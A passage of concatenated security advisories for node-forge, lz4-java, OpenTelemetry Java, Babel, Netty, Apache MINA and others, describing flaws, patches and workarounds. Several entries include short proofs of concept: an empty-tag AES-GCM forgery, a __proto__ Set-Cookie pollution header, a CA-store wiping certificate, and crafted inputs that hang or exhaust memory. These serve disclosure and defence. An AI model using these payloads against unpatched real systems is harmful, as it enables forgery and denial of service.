"TypeError: Cannot read properties of null (reading 'publicKey')", and the `verify` and `error` callbacks are not called. On 1.4.1 the client calls `verify` with `insufficient_security` and no certificates, calls `error` with "No server certificate provided. Not enough security.", sends a fatal alert and closes the connection. Regression tests are in tests/unit/tls.js ("missing server certificate"). ### Impact Applications that use the forge TLS client (`forge.tls.createConnection` with `server: false`) are affected. A malicious server the application connects to, or an on-path attacker who can modify the unauthenticated handshake, can make the client throw from `connection.process()`. Since `process()` is normally called from a socket data handler, the uncaught exception terminates a Node.js process. There is no confidentiality or integrity impact. Applications using Node.js's own TLS implementation are not affected.
### Summary The AES-GCM mode in forge.cipher does not validate the tagLength option passed to start(). With a tagLength of 0 or a value that converts to 0 (such as null, false, '' or '0'), the authentication tag is empty, and decipher.finish() returns true for any ciphertext and additional data when the supplied tag is empty or missing. Fixed in node-forge 1.4.1. ### Details `modes.gcm.prototype.start()` in `lib/cipherModes.js` stored the `tagLength` option without validation, and `lib/cipher.js` documented it as accepting "0-128". After processing the data, `afterFinish()` truncates the 16-byte tag with `truncate(16 % (tagLength / 8))`. For a `tagLength` that converts to 0, this is `16 % 0 = NaN`, and truncating by `NaN` empties the tag. On decryption, the start-time check that the supplied `tag` has `tagLength / 8` bytes passes for an empty tag, and the final tag comparison compares two empty strings, so `decipher.finish()` returns `true` for any ciphertext and additional data. NIST SP 800-38D section 5.2.1.2 allows only tag lengths of 128, 120, 112, 104 and 96 bits, plus 64 and 32 bits for certain applications. The fix validates `tagLength` in `start()`, for both encryption and decryption. A missing, `null` or `undefined` `tagLength` uses the default of 128 bits. Any other value is converted with `Number()` and must be one of 128, 120, 112, 104, 96, 64 or 32; otherwise `start()` throws "Invalid tag length.". Numeric strings such as `'128'` are still accepted. With a validated `tagLength`, an empty tag no longer matches the expected tag length and is rejected. ### Patches Fixed in node-forge 1.4.1. `cipher.start()` now throws an error unless `tagLength` is one of the tag lengths allowed by NIST SP 800-38D (128, 120, 112, 104, 96, 64 or 32 bits); a `null` or `undefined` `tagLength` means the default of 128 bits. ### Workarounds Do not derive `tagLength` from received data. Pass a fixed `tagLength` (or omit it to use the default of 128 bits), and check that the received tag has the expected length before calling `start()`, for example `if(tag.length !== 16) { throw new Error('Invalid tag.'); }` before `decipher.start({iv: iv, tag: tag});`. ### Proof of concept Start an AES-GCM decipher with `tagLength: 0` and an empty tag, as an application does when it derives the tag length from a received empty tag, and feed it arbitrary bytes that were never encrypted under the key: ```js var decipher = forge.cipher.createDecipher('AES-GCM', key); decipher.start({iv: iv, tag: '', tagLength: 0}); decipher.update(forge.util.createBuffer('any attacker-chosen bytes')); decipher.finish(); // <= 1.4.0: true // 1.4.1: start() throws "Invalid tag length." ``` `tagLength` values `null`, `false` and `'0'` (with an empty tag), and `tagLength: 0` with no `tag` option, give the same result on <= 1.4.0. The fix adds regression tests in `tests/unit/aes.js`. ### Impact Applications that decrypt AES-GCM data with `forge.cipher.createDecipher()` (`'AES-GCM'`) and pass a zero-like `tagLength` are affected. Typical cases are a tag length derived from the received tag, or an unset configuration value: ```js var decipher = forge.cipher.createDecipher('AES-GCM', key); decipher.start({iv: iv, tag: receivedTag, tagLength: receivedTag.length * 8}); decipher.update(forge.util.createBuffer(receivedCiphertext)); if(decipher.finish()) { /* attacker-supplied data accepted */ } ``` An attacker who can send a ciphertext with an empty tag to such an application can make it accept attacker-chosen ciphertext as authentic. Because GCM encryption is a stream cipher, an attacker who knows (part of) a captured message's plaintext can also change that plaintext to chosen values. The default (no `tagLength` option, 128 bits) and any fixed valid `tagLength` are not affected.
### Impact `Snappy.arrayCopy(Object src, int offset, int byteLength, Object dest, int destOffset)` called a native `memcpy` without validating the ranges. A negative or oversized `byteLength` or offset read or wrote outside the arrays and crashed the JVM. `SnappyOutputStream.rawWrite` and `SnappyInputStream.rawRead`, and therefore the typed-array `write`/`read` methods, pass caller-supplied ranges to this method. ### Patches Fixed in 1.1.10.9 (#741). `Snappy.arrayCopy` checks both ranges before copying. The stream `read`/`write` methods validate offsets and lengths, and reject typed-array ranges whose byte size overflows `int`. ### Workarounds Validate offsets and lengths before calling these methods.
Incorrect Authorization (CWE-863) in Elasticsearch can lead to unauthorized data stream modification via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user with sufficient privileges over a single resource could use the Modify Data Streams API to modify a data stream to which they were not otherwise authorized, potentially injecting data into it or affecting its ability to be searched normally. This issue does not allow an attacker to read the contents of a data stream they do not otherwise have access to.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4FrameInputStream readHeader() allocates two new 4 MiB block buffers whenever a maximum-block-size frame header is read, and the default concatenated-frame mode allows attacker-controlled streams containing many minimal empty frames to trigger roughly 8 MiB of allocation for every 11 input bytes. The stream produces no decompressed output while consuming CPU and garbage-collection time, so decompressed-size limits do not mitigate the issue; readSingleFrame mode is not affected. This issue is fixed in version 1.11.4.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.2, net.jpountz.lz4.LZ4BlockInputStream refill() validates that the compressedLen field in a legacy LZ4Block header is nonnegative but allocates a compressed-input buffer of that attacker-controlled size before reading payload data, allowing a header-only stream to request a near-2 GiB allocation and exhaust the JVM heap. Canonical writers emit raw blocks when compression is not smaller than the original block, but vulnerable readers accept non-canonical oversized compressed blocks. This issue is fixed in version 1.11.2.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.2, LZ4DecompressorWithLength uses getDecompressedLength to trust the four-byte decompressed-length header before validating the compressed input, allowing a five-byte attacker-supplied input whose header declares a large output size to request up to approximately 2 GiB and exhaust the JVM heap. Convenience overloads backed by LZ4FastDecompressor or LZ4SafeDecompressor allocate the untrusted size, while overloads that write to a caller-provided destination buffer are not affected because the caller controls the destination size. This issue is fixed in version 1.11.2.
opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.67.0, W3CTraceContextPropagator.extract() uses regex delimiter processing that can exhibit quadratic backtracking while parsing tracestate headers containing long runs of spaces or tabs without a following comma. An unauthenticated attacker whose headers reach extraction can repeatedly block request or event-loop threads and cause excessive CPU consumption, with practical impact bounded by ingress header-size limits, proxy configuration, and threading. This issue is fixed in version 1.67.0.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, asn1.oidToDer() in lib/asn1.js did not range-check the first two arcs of an OID. An application that accepted an untrusted OID string, checked or authorized that string, and then encoded it with asn1.oidToDer() could emit DER representing a different, trusted OID from the one that was checked. DER parsing is not affected. This issue is fixed in version 1.4.1.
### Summary `LZ4BlockInputStream` grows its compressed-input buffer to the attacker-controlled `compressedLen` value from the legacy `LZ4Block` stream header before reading any payload bytes. A header-only input can therefore trigger a near-2 GiB allocation and exhaust the JVM heap. ### Details In `net.jpountz.lz4.LZ4BlockInputStream`, `refill()` validates that `compressedLen` is nonnegative but does not cap it before allocation: ```java case COMPRESSION_METHOD_LZ4: if (compressedBuffer.length < compressedLen) { compressedBuffer = new byte[Math.max(compressedLen, compressedBuffer.length * 3 / 2)]; } readFully(compressedBuffer, compressedLen); ``` The paired `LZ4BlockOutputStream` never emits such a block. If compression is not smaller than the original block, it writes the block as RAW: ```java if (compressedLength >= o) { compressMethod = COMPRESSION_METHOD_RAW; compressedLength = o; } else { compressMethod = COMPRESSION_METHOD_LZ4; } ``` Existing readers generally accept noncanonical LZ4-method blocks where `compressedLen >= originalLen`, but no canonical writer found produces them. ### Impact Applications that pass attacker-controlled legacy `LZ4Block` streams to `LZ4BlockInputStream` can suffer heap exhaustion from a header-only input. The impact is availability-only and requires no valid compressed payload. ### Patch As of lz4-java 1.11.2, lz4-java rejects lz4 blocks where the compressed length is larger than uncompressed. Readers would generally emit these as raw blocks instead. You can use the new `acceptOversizedBlocks` flag to restore the old behavior, but this reintroduces the DoS vector.
### Summary `LZ4DecompressorWithLength.decompress(byte[], int)` allocates whatever size the 4-byte length header declares, before it reads a single byte of compressed data. A 5-byte input whose header says `0x40000000` makes the JVM commit a gigabyte and can cause heap exhaustion. ### Details `net.jpountz.lz4.LZ4DecompressorWithLength` reads the header and passes it straight on: ```java final int destLen = getDecompressedLength(src, srcOff); return fastDecompressor.decompress(src, srcOff + 4, destLen); ``` and `net.jpountz.lz4.LZ4FastDecompressor` allocates it: ```java public final byte[] decompress(byte[] src, int srcOff, int destLen) { final byte[] decompressed = new byte[destLen]; decompress(src, srcOff, decompressed, 0, destLen); return decompressed; } ``` `getDecompressedLength` performs no validation: no comparison against `src.length`, no ceiling, no rejection of negatives. `LZ4SafeDecompressor.decompress(byte[], int, int, int)` has the same shape with `maxDestLen`. The sibling overload that callers pass their own buffer to, `decompress(src, srcOff, dest, destOff, destLen)`, is fine, because there `destLen` is chosen by the caller rather than by the input. The bug is specific to the convenience overloads that take the size from the header, and that difference is the whole finding. ### Impact Any application that decompresses attacker-supplied LZ4 frames through the with-length convenience API can be made to allocate up to 2 GiB per call from a 5-byte message. On a service that decompresses request bodies, a few concurrent 5-byte requests exhaust the heap. No privileges are needed, only the ability to get bytes into the decompressor. Confidentiality and integrity are untouched.
### Summary OpenTelemetry Java's W3C trace-context propagator permits excessive CPU consumption when extracting crafted `tracestate` headers, potentially leading to denial of service. Regex backtracking causes quadratic parsing time for headers containing long runs of spaces or tabs without a following comma. ### Impact An unauthenticated attacker whose headers reach `W3CTraceContextPropagator.extract()` can cause excessive CPU usage through crafted requests. Parsing blocks the calling thread, potentially affecting other connections when extraction runs on a shared event-loop thread. Actual impact depends on ingress header-size limits, proxy configuration, and threading. Header-size limits reduce the per-request cost but do not eliminate the vulnerability. ### Patches Upgrade `io.opentelemetry:opentelemetry-api` to version **1.67.0** or later. [PR #8914](https://github.com/open-telemetry/opentelemetry-java/pull/8914) replaces regex delimiter splitting with literal comma scanning and explicit whitespace trimming. ### Workarounds If upgrading is not possible, reject or remove oversized `tracestate` headers before trace-context extraction. This reduces the per-request parsing cost but does not eliminate the risk from repeated requests.
### Summary `LZ4FrameInputStream` allocates two new buffers of the frame's maximum block size, up to 4 MiB each, every time it reads a frame header. Because concatenated frames are read by default, an input made of many minimal empty frames forces about 8 MiB of zeroed heap allocation for every 11 input bytes. ### Details In `net.jpountz.lz4.LZ4FrameInputStream.readHeader()`: ```java maxBlockSize = frameInfo.getBD().getBlockMaximumSize(); compressedBuffer = new byte[maxBlockSize]; // Reused during different compressions rawBuffer = new byte[maxBlockSize]; buffer = ByteBuffer.wrap(rawBuffer); ``` This runs for every frame, and the previous frame's arrays are never reused. A valid 11-byte frame consists of the magic number, FLG `0x60`, BD `0x70` (4 MiB blocks), the header checksum, and an immediate end mark. It carries no data, yet triggers the full 8 MiB allocation. `new LZ4FrameInputStream(in)` reads concatenated frames by default. In local measurements on JDK 25, 10,000 such frames (110 KB of input) took about 8 seconds of CPU to read, roughly 70 seconds per MiB of input. This was similar under G1, Parallel, Serial and ZGC. A legitimate stream costs orders of magnitude less per input byte. ### Impact Applications that decode attacker-controlled LZ4 frame data with `LZ4FrameInputStream` can be made to spend large amounts of CPU and GC time relative to the input size. Live heap stays bounded at about 8 MiB and the stream produces no output, so decompressed-size limits do not help. Cost grows linearly with input size, so the practical limit is the compressed input size the application accepts. Availability impact only. Applications using `readSingleFrame = true` perform only one allocation and are not affected. ### Patch Fixed in lz4-java 1.11.4. `LZ4FrameInputStream` now allocates its block buffers only when a block needs them and reuses them across frames, never shrinking them. The content checksum hash and the skippable-frame skip buffer are also reused instead of being created for every frame. Decompression is limited to the current frame's maximum block size. For older versions, the workaround is to limit the compressed input size accepted from untrusted sources, or use single-frame mode where that is sufficient.
### Summary The `forge.http` client stored cookies from `Set-Cookie` response headers in a plain object keyed by cookie name and path. A malicious server could use the cookie name `__proto__` to add properties to `Object.prototype`, use inherited names such as `constructor` to add properties to `Object`, and send an empty cookie value to delete `Object.prototype` properties. Fixed in node-forge 1.4.1. ### Details `client.setCookie()` in `lib/http.js` stored a cookie with `client.cookies[cookie.name][cookie.path] = cookie`, creating `client.cookies[cookie.name]` only when `!(cookie.name in client.cookies)`. Both values come from the server's `Set-Cookie` header via `response.getCookies()`. Because `in` also sees inherited properties: - a cookie named `__proto__` skipped the initialization, `client.cookies['__proto__']` returned `Object.prototype`, and the cookie path was written as a new `Object.prototype` property, visible on every object; - a cookie named `constructor` wrote onto the global `Object` function the same way; - a cookie with an empty value calls `client.removeCookie(name, path)`, which used the same `in` checks and then `delete client.cookies[name][path]`, so `Set-Cookie: __proto__=; path=toString` deleted `Object.prototype.toString`. This path skipped the cookie's secure-flag and domain checks, so it also worked for `http://` clients. `forge.http` is not loaded by `require('node-forge')`. It is included in the `forge.all` browser bundle and is used with a socket pool, for example by `forge.xhr`. The fix uses own-property checks for the cookie store and ignores cookies named `__proto__` or with the path `__proto__`. #### Patches Fixed in node-forge 1.4.1. Cookies from a server can no longer add or remove properties of `Object.prototype` or `Object`. #### Workarounds Don't use `forge.http` or `forge.xhr` with servers that aren't trusted, or filter `Set-Cookie` headers named `__proto__`, `constructor` or other `Object.prototype` property names before they reach the client. #### Credits Reported by @arunmozhivarman-dtx and @Dremig. ### Proof of concept A server response for a `forge.http` client (`http.createClient({url: 'https://...', socketPool: ...})`) containing: Set-Cookie: __proto__=evil; path=polluted On 1.4.0, after the client processes the response, `({}).polluted` is the cookie object. With `Set-Cookie: __proto__=; path=toLocaleString`, `Object.prototype.toLocaleString` is deleted (for `http://` and `https://` clients). On 1.4.1 these cookies are ignored and `Object.prototype` is unchanged. Regression tests are in tests/security/ghsa-6wvx-3r32-xmcg.js. ### Impact Applications that use the `forge.http` client (directly, or through `forge.xhr` in the `forge.all` browser bundle) against a server that can be malicious are affected. The server can add properties to `Object.prototype` and `Object` for the whole JavaScript realm, which can change application logic that reads properties from plain objects, and can delete built-in `Object.prototype` methods, breaking the page or process. Applications that don't use `forge.http` are not affected.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4BlockInputStream configured with stopOnEmptyBlock set to false handles each well-formed empty LZ4Block by recursively calling refill(), allowing a long sequence of empty blocks in an attacker-controlled compressed stream to exhaust the decoding thread's stack and throw StackOverflowError. The default stopOnEmptyBlock setting is true and is not affected, and the issue does not cause memory corruption. This issue is fixed in version 1.11.4.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used pki.verifyCertificateChain(), pki.createCaStore(), duplicate subject names to process the relevant input or security decision. node-forge modified the CA store while trying certificates that shared a subject name during pki.verifyCertificateChain(). A failed chain verification could permanently remove trusted CA certificates from the store, causing later valid chains to fail and creating a persistent availability impact for applications that reused the store. This issue is fixed in version 1.4.1.
### Summary When `LZ4BlockInputStream` is configured with `stopOnEmptyBlock = false` (the mode for reading concatenated block streams), it handles each empty block by calling `refill()` recursively. A long run of empty blocks exhausts the thread stack and throws `StackOverflowError` out of `read()` or `skip()`. ### Details In `net.jpountz.lz4.LZ4BlockInputStream.refill()`: ```java if (originalLen == 0 && compressedLen == 0) { if (check != 0) { throw new IOException("Stream is corrupted"); } if (!stopOnEmptyBlock) { refill(); } else { finished = true; } return; } ``` Each well-formed empty block is 21 bytes and adds one stack frame, with no limit on nesting depth. In local testing, around 10,000 to 100,000 consecutive empty blocks (about 210 KB to 2.1 MB, depending on JIT state and thread stack size) threw `StackOverflowError`. `StackOverflowError` is an `Error`, not an `IOException`, so callers that only handle I/O errors for corrupt input don't catch it. ### Impact Applications that decode attacker-controlled `LZ4Block` streams with `LZ4BlockInputStream.newBuilder().withStopOnEmptyBlock(false)` or the deprecated `LZ4BlockInputStream(InputStream, boolean)` constructor can have the decoding thread fail with `StackOverflowError`. The default configuration (`stopOnEmptyBlock = true`) is not affected. There is no memory corruption. Availability impact only. ### Patch Fixed in lz4-java 1.11.4. Empty blocks are now skipped in a loop instead of by recursion, so any number of consecutive empty blocks uses constant stack space. For older versions, the workaround is to use the default `stopOnEmptyBlock = true` for untrusted input, or catch `StackOverflowError` around the read loop.
### Summary When a CA store created by `pki.createCaStore()` holds two or more certificates with the same subject name, `pki.verifyCertificateChain()` permanently removes those certificates from the store while trying each one as the issuer. A peer can send any certificate that names that subject as its issuer to make all later verifications against those CA certificates fail. Fixed in node-forge 1.4.1. ### Details `pki.verifyCertificateChain()` (`lib/x509.js`) asks the CA store for the issuer of each certificate with `caStore.getIssuer()`. When the store holds several certificates with the same subject, `caStore.getIssuer()` returns the store's own internal array of those certificates (`caStore.certs[hash]`, built by `addCertificate()`). `verifyCertificateChain()` used that array directly as its list of candidate parents and called `parents.shift()` on it while trying each candidate. Every candidate it tried, including the one that finally verified the certificate, was removed from the store. Once the array is empty, `getIssuer()` returns an empty list, no candidate is tried, and verification fails with "Certificate signature is invalid." `hasCertificate()` and `listAllCertificates()` no longer see the removed certificates. The store stays in this state for as long as the object is used. The attacker's certificate only needs an issuer name equal to the shared subject name, which is public. Its signature and key can be arbitrary: every candidate is tried and shifted out because none verifies, and errors from `parent.verify()` are caught by the loop. Verification of the attacker's chain fails as expected. Verifying valid chains has a similar effect: the CA certificate that verified the chain and any tried before it are removed. No chain is accepted that should be rejected. Removing candidates can only turn a success into a failure. RFC 5280, Section 6.1.1(d) treats trust anchor information as an input to path validation. Validation should not consume it. The fix copies the array returned by `getIssuer()` before iterating over it, so the CA store is no longer modified. `getIssuer()` itself is unchanged. ### Patches Fixed in node-forge 1.4.1. `pki.verifyCertificateChain()` now works on a copy of the candidate issuer list instead of shifting entries out of the CA store. ### Workarounds - Pass a fresh CA store to each `pki.verifyCertificateChain()` call (for example `pki.createCaStore(trustedCerts)`), or pass `caStore` to `forge.tls.createConnection()` as an array of certificates instead of a store object, so that forge creates a new store per connection. - Or wrap the store so that `getIssuer()` returns a copy: var getIssuer = caStore.getIssuer; caStore.getIssuer = function(cert) { var r = getIssuer(cert); return Array.isArray(r) ? r.slice() : r; }; ### Proof of concept Two trusted self-signed CA certificates, `rootA` and `rootB`, share the subject `CN=Root`. `bogus` is any certificate whose issuer is `CN=Root`, signed with an unrelated key. `leafA` is a valid certificate issued by `rootA`. var caStore = forge.pki.createCaStore([rootA, rootB]); caStore.listAllCertificates().length; // 2 try { forge.pki.verifyCertificateChain(caStore, [bogus]); } catch(e) {} // rejected as expected ("Certificate signature is invalid.") caStore.listAllCertificates().length; // 0: both CA certificates are gone forge.pki.verifyCertificateChain(caStore, [leafA]); // throws "Certificate signature is invalid." (valid chain now rejected) Without the attacker certificate, verifying `leafA` twice against a fresh store gives the same result: the first call succeeds and removes `rootA`, the second fails. With the fix, the store keeps both certificates and every valid chain verifies. The regression tests are in `tests/unit/x509.js` ("CA store" section). ### Impact Applications that keep a long-lived CA store holding several trusted certificates with the same subject name, and that verify certificate chains received from other parties with `pki.verifyCertificateChain()`. This includes `forge.tls` clients that pass the same `caStore` object to several connections. Duplicate subject names occur with re-keyed or renewed CAs that kept their name, or a CA next to a cross-signed version of itself, mostly in private PKIs. A remote, unauthenticated peer (for example a malicious TLS server or a party submitting a signed document) can send a certificate naming the shared subject as its issuer. This removes every certificate with that subject from the store, so later verifications of valid chains issued by those CA certificates fail until the store is recreated. This is a persistent denial of service for certificate verification against those CA certificates. Verification against other trusted CAs keeps working, no invalid chain is accepted, and stores without duplicate subject names are not affected.
### Summary `asn1.oidToDer()` did not range-check the first two arcs of an OID string, so an OID such as `0.42.840.113549.1.1.1` or `4294977127.18.840.113549.1.1.1` was encoded as the DER of a different OID (here rsaEncryption, `1.2.840.113549.1.1.1`). This is an incomplete fix of CVE-2025-66030. Fixed in node-forge 1.4.1. ### Details X.690 section 8.19 encodes the first two arcs of an OID as one subidentifier, `40 * arc1 + arc2`, where the first arc is 0, 1 or 2 and the second arc is at most 39 when the first is 0 or 1. `asn1.oidToDer()` in `lib/asn1.js` computed that value with no range check and wrote it with `putByte()`, which keeps only the low 16 bits. Out-of-range first arcs therefore produced the encoding of a different OID: `0.42.840.113549.1.1.1` gives `40 * 0 + 42 = 42` and `4294977127.18.840.113549.1.1.1` wraps to 42, both the first byte of rsaEncryption. The fix for CVE-2025-66030 (GHSA-65ch-62r8-g69g, node-forge 1.3.2) added a 32-bit check for the later arcs only. A related encoding bug made valid OIDs with a first subidentifier above 127 (`2.48` and higher, e.g. `2.999`) encode and decode incorrectly, because the first subidentifier was always written and read as a single byte. The fix rejects out-of-range first arcs and encodes and decodes the first subidentifier in base 128 like the others (the latter from public PR #1148). ### Patches Fixed in node-forge 1.4.1. `asn1.oidToDer()` throws for OIDs with out-of-range first arcs, and the first subidentifier is encoded and decoded correctly. ### Workarounds Validate OID strings from untrusted input before passing them to node-forge: the first arc must be 0, 1 or 2, and the second arc at most 39 when the first arc is 0 or 1. ### Credits Reported by wzc. The first subidentifier encoding fix is from PR #1148 by @spokodev. ### Proof of concept var forge = require('node-forge'); var der = forge.asn1.oidToDer('0.42.840.113549.1.1.1'); console.log(der.toHex()); // 2a864886f70d010101 console.log(forge.asn1.derToOid(der)); // 1.2.840.113549.1.1.1 On 1.4.0 the out-of-range OID string encodes to exactly the DER of rsaEncryption (the same happens with `4294977127.18.840.113549.1.1.1`). On 1.4.1 `oidToDer()` throws "Invalid OID; the first two arcs are out of range.". Regression tests are in tests/unit/asn1.js ("should reject OIDs with out of range first arcs"). ### Impact Applications that accept OID strings from untrusted input, check or authorize them as strings, and then encode them with node-forge (for example when building certificates, CSRs or other ASN.1 structures from user-supplied extension or attribute OIDs) can be made to emit a different, trusted OID than the one that was checked. Parsing DER is not affected. There is no confidentiality or availability impact.
Babel is a compiler for writing next generation JavaScript. Prior to 8.0.0-rc.6 and 7.29.6, @babel/core affected by an arbitrary file read via a sourceMappingURL comment. Using @babel/core to compile maliciously crafted code can allow an attacker to read any source map from the system that is running Babel, if the attacker controls the input source code, can read the output source code, and knows the path of the source map file that they want to read. This vulnerability is fixed in 8.0.0-rc.6 and 7.29.6.
## Impact Using `@babel/core` to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are _all_ true: - the attacker controls the input source code - the attacker can read the output source code - the attacker knows the path of the source map file that they want to read **Users that only compile trusted code are not impacted.** ## Patches The vulnerability has been fixed in `@babel/core@7.29.6` and `@babel/core@8.0.0-rc.6`. ## Workarounds Callers can mitigate the issue without upgrading by setting [`inputSourceMap: false`](https://babeljs.io/docs/options#inputsourcemap) in their Babel options. Callers can also manually extract the `#sourceMappingURL` comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to `inputSourceMap` (passing `false` when it's not). ## Credits Thanks Teodor-Cristian Radoi for reporting the vulnerability.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used BigInteger.prototype.modInverse(), bnModInverse(), lib/jsbn.js, RSA public exponent e to process the relevant input or security decision. node-forge's bundled jsbn implementation entered an infinite loop when BigInteger.prototype.modInverse() received a negative value or modulus. An attacker who could control the RSA public exponent passed to key generation, or a direct modInverse() operand, could block the Node.js event loop at full CPU. Parsed DER, PEM, JWK, PKCS#12, X.509, and TLS values are unsigned and cannot trigger this issue. This issue is fixed in version 1.4.1.
### Summary `BigInteger.prototype.modInverse()` in node-forge's bundled jsbn library enters an infinite loop when the value or the modulus is negative, for example when a negative public exponent is passed to `forge.pki.rsa.generateKeyPair()`. This is an incomplete fix of CVE-2026-33891 (GHSA-5m6q-g25r-mvwx), which handled only a zero value. Fixed in node-forge 1.4.1. ### Details `bnModInverse()` (`lib/jsbn.js`, exposed as `forge.jsbn.BigInteger.prototype.modInverse`) implements the binary extended Euclidean algorithm (Handbook of Applied Cryptography, Algorithm 14.61), which is defined for positive integers. With a negative operand the loop cannot terminate: `rShiftTo` is an arithmetic shift, so a negative value never moves towards zero, and the loop's exit condition (`u` reaching zero) is never met. The calling thread spins at 100% CPU indefinitely; in Node.js this blocks the event loop. Memory does not grow. node-forge 1.4.0 fixed CVE-2026-33891 (GHSA-5m6q-g25r-mvwx) by returning zero early when `this.signum() == 0`, although its changelog describes the check as "<= 0". Negative values were not covered, and a negative modulus was never handled. Every negative input that did terminate already returned zero. Within node-forge, RSA key generation is the only path to a negative operand: the caller's public exponent `e` becomes `BigInteger.fromInt(e)`, and `state.e.modInverse(state.phi)` is called with it. `gcd()` works on absolute values, so the coprimality checks pass and the loop is reached. Any exponent other than 3 or 65537 uses the pure JavaScript implementation, even when `forge.options.usePureJavaScript` is not set. RFC 8017, Section 3.1 requires the RSA public exponent to be at least 3. Values that node-forge parses (DER, PEM, JWK, PKCS#12, X.509, TLS) are always read as unsigned integers and cannot produce a negative operand. The fix makes `modInverse()` return zero when the value or the modulus is zero or negative, as it already does when no inverse exists. Results for positive inputs are unchanged. This issue was reported by wzc. ### Patches Fixed in node-forge 1.4.1. `modInverse()` now returns zero when the value or the modulus is zero or negative. ### Workarounds - Pass only fixed, valid RSA public exponents (e.g. 65537) to key generation, or validate caller-supplied exponents first: an odd integer `>= 3`. - Do not call `BigInteger#modInverse()` with negative operands. Reduce the value modulo a positive modulus first (`x.mod(m).modInverse(m)`). ### Proof of concept A negative public exponent passed to RSA key generation never returns (also with the callback form and with `createKeyPairGenerationState()` / `stepKeyPairGenerationState()`): var forge = require('node-forge'); forge.pki.rsa.generateKeyPair({bits: 256, e: -1}); // hangs at 100% CPU Calling `modInverse()` directly with a negative value or modulus hangs the same way: var BigInteger = forge.jsbn.BigInteger; new BigInteger('-1').modInverse(new BigInteger('7')); // hangs new BigInteger('3').modInverse(new BigInteger('-7')); // hangs With the fix, these calls return zero. The regression tests are in `tests/unit/jsbn.js`. ### Impact Applications are affected only if they: - pass an untrusted value as the RSA public exponent `e` to `forge.pki.rsa.generateKeyPair()`, `forge.pki.rsa.createKeyPairGenerationState()` or `forge.pki.rsa.stepKeyPairGenerationState()`, or - call `forge.jsbn.BigInteger#modInverse()` directly with negative values derived from untrusted input. An attacker who can supply such a value makes the call hang indefinitely at 100% CPU, which blocks the Node.js event loop (denial of service). Keys and other data parsed by node-forge (DER, PEM, JWK, PKCS#12, X.509, TLS) cannot trigger this issue, and the documented usage of key generation passes a constant exponent (65537). There is no effect on confidentiality or integrity.
deepmerge through 4.3.1 contains a prototype poisoning vulnerability in the mergeObject() function that fails to properly validate keys being written to target objects. Attackers can supply malicious source objects in merge operations to inject attacker-controlled properties into the returned object's prototype, causing applications to inherit unintended values when accessing properties without own-property checks.
No vulnerability to address.
Resolved or not affected 421 (700)
The ObjectSerializationDecoder in Apache MINA uses Java’s native deserialization protocol to process incoming serialized data but lacks the necessary security checks and defenses. This vulnerability allows attackers to exploit the deserialization process by sending specially crafted malicious serialized data, potentially leading to remote code execution (RCE) attacks. This issue affects MINA core versions 2.0.X, 2.1.X and 2.2.X, and will be fixed by the releases 2.0.27, 2.1.10 and 2.2.4. It's also important to note that an application using MINA core library will only be affected if the IoBuffer#getObject() method is called, and this specific method is potentially called when adding a ProtocolCodecFilter instance using the ObjectSerializationCodecFactory class in the filter chain. If your application is specifically using those classes, you have to upgrade to the latest version of MINA core library. Upgrading will not be enough: you also need to explicitly allow the classes the decoder will accept in the ObjectSerializationDecoder instance, using one of the three new methods: /** * Accept class names where the supplied ClassNameMatcher matches for * deserialization, unless they are otherwise rejected. * * @param classNameMatcher the matcher to use */ public void accept(ClassNameMatcher classNameMatcher) /** * Accept class names that match the supplied pattern for * deserialization, unless they are otherwise rejected. * * @param pattern standard Java regexp */ public void accept(Pattern pattern) /** * Accept the wildcard specified classes for deserialization, * unless they are otherwise rejected. * * @param patterns Wildcard file name patterns as defined by * {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch} */ public void accept(String... patterns) By default, the decoder will reject *all* classes that will be present in the incoming data. Note: The FtpServer, SSHd and Vysper sub-project are not affected by this issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key. This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under the parent domain's key. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
The `ObjectSerializationDecoder` in Apache MINA uses Java’s native deserialization protocol to process incoming serialized data but lacks the necessary security checks and defenses. This vulnerability allows attackers to exploit the deserialization process by sending specially crafted malicious serialized data, potentially leading to remote code execution (RCE) attacks. This issue affects MINA core versions 2.0.X, 2.1.X and 2.2.X, and will be fixed by the releases 2.0.27, 2.1.10 and 2.2.4. It's also important to note that an application using MINA core library will only be affected if the IoBuffer#getObject() method is called, and this specific method is potentially called when adding a ProtocolCodecFilter instance using the `ObjectSerializationCodecFactory` class in the filter chain. If your application is specifically using those classes, you have to upgrade to the latest version of MINA core library. Upgrading will not be enough: you also need to explicitly allow the classes the decoder will accept in the ObjectSerializationDecoder instance, using one of the three new methods: 1. * Accept class names where the supplied ClassNameMatcher matches for deserialization, unless they are otherwise rejected. * `@param classNameMatcher` the matcher to use * / `public void accept(ClassNameMatcher classNameMatcher)` 2. * Accept class names that match the supplied pattern for deserialization, unless they are otherwise rejected. * `@param` pattern standard Java regexp * / `public 